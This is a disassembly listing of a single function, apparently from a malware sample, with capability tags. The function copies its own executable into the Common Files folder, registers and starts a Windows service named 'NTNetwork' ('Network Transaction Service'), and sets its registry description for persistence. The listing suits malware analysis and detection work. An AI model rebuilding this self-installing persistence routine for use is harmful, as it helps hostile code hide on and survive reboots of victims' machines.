Function at 0x402c00
Capabilities:
Create service
Persist via windows service
Set registry value
Start service
Terminate process

Disassembly:
sub esp, 0x264
push esi
push edi
call 0x402ef0
test eax, eax
je 0x402c49
lea eax, [esp + 0x10]
mov dword [esp + 0x10], str.NTNetwork
push eax
mov dword [esp + 0x18], 0x402830
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
pop edi
xor eax, eax
pop esi
add esp, 0x264
ret 0x10
lea ecx, [esp + 0x64]
push 0x104
push ecx
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov ecx, 0xc
mov esi, str.C:Program_FilesCommon_FilesSystem_service.exe
lea edi, [esp + 0x30]
lea eax, [esp + 0x30]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x64]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x402ca0
test cl, cl
je 0x402c9c
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x402ca0
add eax, 2
add esi, 2
test cl, cl
jne 0x402c7c
xor eax, eax
jmp 0x402ca5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402db3
lea ecx, [esp + 0x10]
call fcn.00402fd8
lea ecx, [esp + 0x20]
call fcn.00402fd8
push 0
lea eax, [esp + 0x34]
push 0x1001
push eax
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x402cf7
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CFile::CFile
pop edi
xor eax, eax
pop esi
add esp, 0x264
ret 0x10
push 0
lea ecx, [esp + 0x68]
push 0
push ecx
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CFile::Open
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::GetLength
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
lea ecx, [esp + 0x20]
mov esi, eax
call sub.MFC42.DLL_CFile::GetLength
mov ecx, eax
xor eax, eax
inc ecx
mov edi, esi
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::GetLength
push eax
push esi
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CFile::Read
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::GetLength
push eax
push esi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CFile::Write
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::Close
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CFile::Close
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
lea eax, [esp + 0x30]
lea ecx, [esp + 0x64]
push eax
push 0x4052c4
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], 1
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CFile::CFile
push ebp
push 0xf003f
push 0
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0
push 0
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 0
push 2
push 0x10
push 0xf01ff
mov edi, eax
push str.Network_Transaction_Service
push str.NTNetwork
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, eax
test esi, esi
jne 0x402e2b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x402e2b
push 0xf01ff
push str.NTNetwork
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
push 0
push 0
push esi
call ebp
push 0
push 0
push esi
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x16c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x16c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.NTNetwork
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x170]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x405210
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push 0x405210
mov edx, dword [esp + 0x14]
push 1
push 0
push str.Description
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop ebp
mov eax, dword [esp + 0xc]
test eax, eax
je 0x402c3c
call fcn.00402a80
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.NTNetwork
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret